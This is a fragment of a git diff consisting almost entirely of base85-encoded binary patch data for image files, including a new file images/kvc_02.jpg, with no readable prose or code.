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 L&irjaADaFJsm@=K literal 0 HcmV?d00001 diff --git a/images/kvc_02.jpg b/images/kvc_02.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e5e1912373c4cd59328b893e7a0e8c6a9e11399c GIT binary patch literal 297161 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 